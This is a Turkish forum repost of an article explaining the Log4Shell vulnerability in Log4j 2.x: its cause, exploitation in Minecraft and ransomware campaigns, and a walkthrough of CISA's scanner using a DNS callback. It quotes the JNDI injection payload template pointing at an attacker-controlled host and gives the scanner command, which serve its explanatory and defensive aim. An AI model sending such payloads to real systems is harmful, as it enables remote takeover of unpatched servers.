Forumda yenilikler devam etmektedir , çalışmalara devam ettiğimiz kısa süre içerisinde güzel bir görünüme sahip olduk daha iyisi için lütfen çalışmaların bitmesini bekleyiniz. Tıkla ve Git
x

Log4Shell Güvenlik Zafiyeti Nedir? Neden Bu Kadar Ses Getirdi?

Log4Shell Güvenlik Zafiyeti Nedir? Neden Bu Kadar Ses Getirdi?
0
97

klimaci

FD Üye
Katılım
Ocak 9, 2022
Mesajlar
37,992
Etkileşim
2
Puan
38
Yaş
46
F-D Coin
90
log4j-logosu.jpg

Şu sıralar bilişim dünyası Log4j kütüphanesinde çıkan kod yürütme açığıyla ve sebep olduklarıyla çalkalanıyor. Zafiyetin keşfedilip yayınlanmasından hemen sonra basına yansıyan veya yansımayan birçok sistem saldırganlarca hedef alındı ve etkilendi. Peki bu zafiyet neydi ve neden bu kadar can yandı?

Log4Shell‘i basitçe tarif edecek olursak, Java destekli uygulamalarda programcıların sıkça faydalandığı loglama kütüphanesi Log4j’nin 2.x sürümlerinde çalışma şeklinden faydalanarak kod yürütmeye imkan tanıyan bir açık. Alibaba bünyesindeki güvenlik araştırmaları ekibinden Chen Zhaojun tarafından Kasım ayında tespit edilip Apache Vakfına bildirildi ve ilk olarak Aralık ayının başlarında bilinmeyen bir Çinli aktör tarafından açık hale getirildi. İlk çıkan bu zafiyet örneğine CVE-2021-44228 kodu atandı. Daha sonraları farklı kodlar da atanan ekstra açıklar da bu süre zarfında çıkmaya devam etti.

Log4j, ilk olarak Türk bilgisayar programcısı Ceki Gülcü tarafından Java programlama diline yönelik geliştirildi ve 2.x sürümlerinden itibaren de Apache Yazılım Vakfı bu geliştirme sürecini üstlendi.

Biraz detaya inecek olursak kütüphanenin “Message Lookups” adı verilen ve günlük kayıtlarının ortam değişkenleri gibi bazı yapıları çağırması zafiyetin asıl nedeni diyebiliriz. Log4Shell dökümantasyonuna göre güvenlik yamaları uygulanmamış herhangi bir Log4j 2.x kütüphanesi kullanımında örneğin ${env:pATH} gibi bir girdi kaydedilmeye çalışıldığında doğrudan PATH mesajının yerine ortam değişkeni ekrana basılıyor.

JNDI (Java Naming and Directory Interface / Java Adlandırma ve Dizin Arabirimi) de işin içine girince ${jndi:java:comp/env} gibi bir kullanım mümkün hale geliyor. BlackHat USA 2016 da yapılan bir sunumda JNDI URI’lerinin doğrulanmadan kullanılmasının kod yürütme açıklarına neden olabileceği 4 sene önceden gösterilmişti. Böylece Log4j 2.x sürümlerinde varsayılan olarak etkin halde bulunan “Message Lookups” özelliği yüzünden varsayılan halde kullanıcı tarafından alınan girdilerin günlüğe yazdırılması kod yürütmeye imkan tanınmasına yol açtı.

Apache tarafından zafiyetin açıklanmasından sonra aynı hafta içinde yama yayınlansa da güvenlik araştırmacıları her seferinde zafiyetin halen var olduğunu ve çeşitli bypass yöntemleri kullanılarak çalıştırılabildiğini ispatladılar. En son 18 Aralık 2021’de 3. kez yama yayınlandı. Buna rağmen halen remote (uzaktan) olmasa da local bir saldırı yüzeyi tespit edildi. Risk halen ortadan kalkmış değil gibi gözüküyor.

Log4j yazılımcılar tarafından Java ile uygulama geliştirirken oldukça fazla kullanılan bir kütüphane. Neredeyse Java ile yazılmış birçok yazılımda Log4j’nin kullanıldığını söyleyebiliriz. ${jndi:ldap://[saldırganın sitesi veya ip adresi]/a} şeklindeki bir payload (kötü amaçlı yük) programın input alanlarından verildiğinde saldırganlarca hedeften bağlantı alınabiliyor.

Güvenlik araştırmacılarından John Hammond, Java ile yazılmış programlar arasında ilk akla gelen Minecraft’ta bile bu zafiyetin var olduğunu tespit etti. Sohbet alanından bahsettiğimiz yük gönderilerek hedef sunucunun kontrolü rahatlıkla ele geçirilebiliyor. Diyelim ki bir gün canınız sıkıldı ve kendi bilgisayarınızda Minecraft sunucusu kurup internetteki oyuncu topluluklarında paylaştınız. Kötü niyetli bir kişi sadece sunucunuza girip bu komutu göndermekle bile sisteminizi ele geçirebiliyor. Oldukça tehlikeli ve vahim bir durum. İlgili zafiyetin denendiği videoyu merak ediyorsanız aşağıdan izleyebilirsiniz.



BitDefender tarafından tespit edilen Khonsari Ransomware çetesi ise özellikle yamalanmamış güvensiz Minecraft sunucularını hedef alıyor. Bahsettiğimiz şekilde sunuculara gönderilen kod parçacığı sayesinde sunucu ve açığı kapatılmamış Minecraft sürümleriyle sunuculara bağlı olan istemcilerden kabuk/shell alınıyor. Daha sonrasında ise aktörler tarafından fidye yazılımı uzak sunucudan indirilerek hedef sistemlerde çalıştırılıyor. Burada oyuncu topluluğunu da oldukça ilgilendiren bir durum söz konusu.

Yalnızca bir oyun olan Minecraft bir yana, Java bazlı uygulamalar ve çözümler pek çok sektörde aktif olarak kullanılıyor. Log4Shell açığının etki alanı başta finans kuruluşları olmak üzere mobil cihazlar ve uygulamalar, IoT yapıları, web siteleri, sanallaştırma çözümlerinin neredeyse tamamına yakın bir kısmını kapsıyor. Bu kütüphanenin kullanılmadığı Java uygulamaları oldukça az sayıda. Zafiyetin yayınlanmasından hemen sonra çeşitli tehdit aktörlerinin her yerden mantar gibi çıktığını, yoğun bir şekilde fidye yazılımı saldırılarının yaşandığı biliniyor.

Log4Shell gibi etkili bir zafiyetin zaten bağımsız ve finansal motivasyona aktörlerin kullanması kadar devlet destekli grupların da hedeflere yönelik kullanmaya başlaması oldukça olağan diyebiliriz.

Microsoft Güvenlik Merkezi tarafından yayınlanan rapora göre Çin, Kuzey Kore ve İran gibi ülkelerin siber aktörleri tarafından Log4Shell açığı çeşitli kurumsal sistemlere karşı kullanıldı. Microsoft’un belirttiğine göre İran’lı aktörler daha önceden de Phosphorus adıyla, Çin’li aktörler ise Hafnium APT adıyla tespit edilmişti.

Ayrıca bağımsız aktörlerin de bu süre zarfında boş durduğunu söyleyemeyiz. Oracle’ın Java RE kurulum ekranında “kendimi bildim bileli yazdığı” gibi “3 milyar cihaz” üzerinde Java veya Java yazılımları çalışıyor. Log4j kütüphanesi de sıklıkla kullanılan bir kütüphane olduğundan Log4Shell zafiyeti botnet ve fidye yazılımı (ransomware) çetelerinin hayli ilgisini çekti. Binlerce hatta milyonlarca sistemi dışarıdan sistemlere girdi yapan ufak bir script ile ele geçirip kontrole alabilmek kazanç sağlamak adına saldırganlar için oldukça önemli bir fırsat oldu diyebiliriz.

Daha önce siber dünyada en son bu çapta bir hareketlilik EternalBlue ve ShellShock zafiyetleri yayınlandığında ortaya çıkmıştı. CloudFlare, Cisco, Red Hat, iCloud, ElasticSearch, Twitter, Steam gibi birçok dev bu kütüphaneyi kullanıyor. Tabi şu anda bu platformlarda zafiyet yamalandığı için kullanmakta sıkıntı olmasa da ilk çıktığında oldukça dehşet verici etki yaptığını söyleyebiliriz.

Log4j-saldiri-640x309.jpg


BitDefender araştırmacılarının 11 ila 15 Aralık arasında toplamış olduğu telemetri verilerine göre en çok saldırı çıkışı görülen ülkeler Almanya ve Amerika Birleşik Devletleri iken hemen arkasından yüzde 34’lük bilinmeyen bir aktör oranı görüyoruz. En çok saldırıya uğrayan ülkelerde ise ABD, Kanada ve İngiltere başı çekiyor. Bu ülkelerin diğerlerine kıyasla daha çok saldırıya uğramasının nedeninin birçok teknoloji ağırlıklı, tabiri caizse paralı şirketin bu konumlarda yer alması olduğunu söyleyebiliriz.

Siber güvenlik odaklı bir bakış açısında programları ve geliştirilen yazılım teknolojilerini çoğu zaman birbirinden ayrı düşünürseniz hata edersiniz. Google’ın araştırmasına göre Log4j’deki zafiyetten ötürü 35.000 geliştirme paketi veya mini kütüphane diyebileceğimiz yapı etkilendi. Bunu zincirleme kaza gibi düşünebiliriz. Biri diğerine hızla çarpınca o aracın etkisiyle diğer araçlar da kazadan payını almakta.

2.620 pakette yer alan bu dolaylı güvenlik açıkları ise Log4Shell’in ortaya çıktığı ilk hafta içinde çoğunlukla yamandı. Geriye kalan 31 bin küsur paketteki zafiyetin yamalanıp yamalanmadığını ise henüz bilmiyoruz.

BreachQuest CEO’su Jake Williams’a göre Log4j’nin olumsuz etkilerinin anlaşılması biraz fazla zaman alacak. Zira çok fazla yazılıma doğrudan olmasa bile bahsettiğimiz gibi dolaylı yönden dahil bir kod kütüphanesi. Ek olarak saldırıların başka zincirleme etkileri de bulunuyor. Saldırganlar ilk erişimi kazandıktan sonra sistemde geniş yetkilere ulaşmak için birtakım hak yükseltme (privilege escalation) ve sızılan network üzerinde yayılabilmek için yanal hareket (lateral movement) süreçleri izleyecekler. Bunlar da hem saldırganlar açısından hem de yeni çıkan bir zafiyetin etkisiyle boğuşan “blue team ekipleri” (terminolojide sistemlerin güvenliğinde sorumlu olan birimler) için oldukça zor anlaşılır diyebileceğimiz zaman alıcı bir süreç.

Dünya ve bilişim tarihine dikkat edin, her daim birtakım olayların etkisiyle oluşan korku havasından nemalanmaya çalışan fırsatçılar olmuştur. Savaşları fırsata çevirenler, krizleri lehlerine kullananlar, karaborsacılar ve dahası… Siber dünyada da bu böyle. Ne zaman yüksek potansiyelli ve korku salan bir zafiyet ortaya çıkarsa meydana çıkıyorlar.

Normal şartlarda kurum ve kuruluşlara güvenlik testi uygulanması gerektiğinde belli başlı planlamalar yapılıp, kriterler belirlenirken ve buna uygun bir şekilde tercih edilen test yöntemine göre bazı metodolojiler izlenirken; yalnızca “Log4Shell” testi yapmak ve sadece bunun için insanlardan binlerce lira para talep etmek açıkça fırsatçılıktan başka bir şey değil.

Güvenliğin gerek fiziksel, gerek teknolojik, gerek de yazılımsal olmak üzere her yönüyle bir bütün olduğunu aklımızdan çıkarmamakla beraber, illa böyle bir test yapılacaksa önce kurumun veya kuruluşun Log4j kütüphanesini kullanıp kullanmadığının öğrenilmesi gerekmektedir. Özellikle son zamanlarda çoğalan bu tarz fırsatçılara karşı uyarmakta yarar görüyoruz.

CISA (Amerikan Siber Güvenlik ve Altyapı Güvenliği Ajansı) tarafından Log4j zafiyetinin tespitine yönelik oldukça gelişmiş bir araç yayınlandı. Sistemlerinizin bu zafiyetten etkilenip etkilenmediğini bu araç yardımıyla rahatlıkla öğrenebilirsiniz.

Aracın mantığı girdi alanlarına kötü amaçlı payload’ın gönderilip bir DNS isteği almaya dayanıyor. Eğer araç tarafından gönderilen payload hedefte başarılı olursa belirttiğimiz DNS adresine bir DNS isteği dönüyor. Daha çok uzatmadan aracın hemen kullanımını gösterelim, böylece ne demek istediğimiz daha iyi anlaşılacaktır.

1 – Öncelikle aracı GitHub üzerinden edinmemiz gerek. Ben halihazırda Ubuntu kullandığım için işlemleri bu işletim sistemi üzerinden anlatacağım. Sizler de kendi sisteminize göre yapabilirsiniz, sorun olmaz.

Yayınlanan zafiyet tarayıcısının GitHub sayfasına gidelim. Ben Git kullandığım için buradaki adresi kopyalayarak terminal üzerinden git clone komutu ile repoyu indireceğim ve indirdiğim dizine cd komutu ile geçiş yapacağım, daha kolayıma geliyor. Sizler Git kullanmıyorsanız “Download ZIP” diyerek de indirebilirsiniz.

1.1-github-uzerinden-indirme-640x338.jpg


2-git-clone-ile-indirme-640x263.jpg


2 – İçine girdiğimiz dizini ls -la ile kontrol edelim. Gördüğünüz gibi inmiş. Bizim tarama aracımız ise bu dizinin içindeki log4-scanner klasöründe. Bu nedenle cd log4-scanner komutunu girip, ls -la ile kontrol ediyoruz.

3-cd-ile-log4j-scanner-klasorune-girme-640x382.jpg


3 – Şimdi aracımızın bulunduğu dizine başarıyla girdiğimize göre aracımızı kullanmak için gereken bazı yorumlayıcıları ve bağımlılıkları yüklememiz gerekiyor. Bu araç Python 3 ile geliştirilmiş, yani sistemimizde Python 3 yorumlayıcısı yoksa önce onu kurmalıyız. Zaten varsa doğrudan benim yaptığım gibi pip install -r requirements.txt komutu yardımıyla bağımlı paketleri kurabilirsiniz.

4-bagimli-paketlerin-kurulumu-640x339.jpg


4 – Bağımlılıkları da kurduğumuza göre aracımızı çalıştırılabilir hale getirmek için chmod +x log4j-scan.py komutu ile yürütebilirlik izni veriyorum. Daha sonra aracı nasıl kullanabileceğimize dair detaylı bilgi edinmek için ./log4j-scan.py --help komutunu giriyorum. Gördüğünüz gibi kullanabileceğimiz bütün opsiyonlar karşımızda.

7-tarayicinin-help-ciktisi-640x456.jpg


5 – Sıra geldi test edilecek web sitelerini veya sayfaları liste haline getirmeye. Aracımıza bir liste vermemiz gerekiyor ki onların üzerinde tarama yapabilsin. nano taramalistesi.txt komutu ile bir metin belgesi oluşturup içerisine tarama yapmak istediğim web sitelerini yazıyorum. Daha sonra CTRL+S ve CTRL+X ile kaydedip çıkıyorum.

5-nano-ile-web-sitesi-listes-hazirlama-640x448.jpg


6 – Tarama listem oluşmuş mu diye bakmak için tekrar “ls -la” yapıyorum. Gördüğünüz gibi oluşmuş.

6-son-durumu-listeleme-640x368.jpg


7 – Bir şey hariç her şeyimiz tamam, zafiyet tarayıcısının hedeflere göndereceği payloadlar çalışırsa bir yere (DNS sunucusu gibi) istek yapması ve bizim onu görmemiz gerekiyor. Böylelikle zafiyetin var olup olmadığını anlayabiliyoruz.

Bunun için Dnslog.cn diye bir hizmet var. Tek tık ile isteklerin basit bir şekilde gönderilebileceği bir subdomain oluşturabiliyorsunuz. Buraya gelip “Get SubDomain” diyelim ve çıkan adresi kopyalayalım. Eğer sizler DNS isteği bu tarz dış ortamlara yapılsın istemiyorsanız kendi server yapınız üzerinde de DNS sunucusu kurup istekleri loglayabilirsiniz.

2-e1640615530704-640x399.jpg


8 – Artık taramaya başlayabiliriz. ./log4j-scan.py --test-CVE-2021-45046 --custom-dns-callback-host [isteğin gideceği DNS sunucusu] -l [listeniz.txt] komutunu girerek denemeleri başlatıyorum. Buradaki komutu siz kendinize göre düzenlemelisiniz. Ben programın bütün özellikleri yerine yalnızca CVE-2021-45046’yı test etmesini istedim. Siz spesifik olarak değil de Log4Shell hakkında genel tarama olsun diyorsanız --run-all-tests parametresini kullanabilirsiniz.

Test bittiğine göre DNSLog.cn adresine dönelim ve herhangi bir istek gelip gelmediğine bakalım.

8-TEST-640x248.jpg


9 – “Refresh Record” diyelim ve biraz bekleyelim.

Herhangi bir istek gelmemiş gözüküyor. Gelmemesi de normal çünkü Technopat web sayfası üzerinde Java teknolojileri kullanılmıyor. Dolayısıyla Log4j kütüph0anesini de kullanmadığımız için bu zafiyetten etkilenmiyoruz. Sizin denediğiniz sistem etkileniyorsa burada isteğin geldiği sistemin IP adresi, zamanı gibi bazı çıktıları göreceksiniz.

9-sonuc-e1640615571866-640x337.jpg


Geliştirici veya sistem yöneticisi iseniz Log4Shell zafiyetinin sistemlerinizde var olup olmadıklarını anlayabilmek ve benzer zafiyetlere önlem alabilmek için ÇözümPark ekibi çatısı altında bu konu hakkında beraber birçok uzmanın hazırlamış olduğu oldukça bilgilendirici bir canlı yayın kaydı bulunuyor. Hemen aşağıdan izleyebilirsiniz.



Ayrıca siber güvenlik şirketi Prodaft’ın kurucu ortağı olan Mehmet Dursun İnce’nin de zafiyeti detaylıca anlattığı Twitch kesitini aşağıdan izleyebilirsiniz.



Sonuç


Amacımız ortaya çıkar çıkmaz sizlere hızlıca fakat yalan yanlış haberleri ulaştırmak değil, konu hakkındaki en doğru bilgiyi vermek olduğundan benim açımdan bu yazıyı hazırlamak oldukça zor oldu diyebilirim. Log4Shell zafiyetinin neyden kaynaklandığına, ne gibi etkileri olduğuna, fırsatçılara ve nasıl sistemlerinizde bu açığı bulup kapatabileceğinize olabilecek en iyi şekilde değinmeye çalıştık. Umarız ki sizler de beğenmişsinizdir.

Merak ettikleriniz ve eleştirileriniz için hemen aşağıdan yorum yapabilirsiniz. Siber güvenlik ve bilgisayar dünyasının diğer bütün alanları hakkında doğru bilgi çin Technopat.Net’i takipte kalın.
 

Similar threads

Çin hükümeti, Log4Shell zafiyeti ilk önce kendileriyle paylaşılmadığı ve bu konuda uyarılmadıkları için Alibaba ile olan ortaklığını askıya aldı. Çin’de internet düzenleyicisi konumunda olan “Sanayi ve Bilgi Teknolojileri Bakanlığı”, Alibaba Group iştiraklerinden Alibaba Cloud ile olan...
Cevaplar
0
Görüntüleme
112
Log4j, birçok ürün, hizmet ve Java bileşeni tarafından yaygın olarak kullanılan açık kaynaklı bir Java günlük kütüphanesidir. Kütüphanede yaşanan bu güvenlik açığı sorunu, siber güvenlik endüstrisinin ötesinde birçok kurum ve kuruluşu da etkiliyor. Şu an kütüphanede bulunan açığı istismar etmek...
Cevaplar
0
Görüntüleme
51
ESET mühendislerinin Log4Shell güvenlik açığı istismarı için algılamalar oluşturduğu 11 Aralık’tan bu yana, ESET saldırı girişimlerini kaydediyor. Bu etkinlik, boyutu ne olursa olsun, tüm ülkelerin, bu güvenlik açığının henüz düzeltilmediği sunucuları, hizmetleri ve cihazları ihlal etmeye...
Cevaplar
0
Görüntüleme
37
ESET, dünya genelinde Log4j sömürü girişimlerinin yapıldığı ülkelerin haritasını yayınladı. ESET Araştırma Birimi’nin verilerine göre ABD, İngiltere, Türkiye, Almanya ve Hollanda başta olmak üzere yüz binlerce Log4j istismarı girişimi engellendi. ESET Araştırma Direktörü Roman Kováč bulgular...
Cevaplar
0
Görüntüleme
63
Önce Log4Shell, şimdi de Spring4Shell derken güvenlik dünyası bir süredir Java frameworklerindeki zafiyetlerle boğuşuyor. Medyatik anlamda Log4Shell kadar ses getirmese de en az bi’ o kadar tehlikeli olan Spring4Shell nedir, basitçe nasıl istismar edilir ve önlemek için neler yapılmalı bu...
Cevaplar
0
Görüntüleme
96
858,461Konular
981,110Mesajlar
29,529Kullanıcılar
peaceSon üye
Üst Alt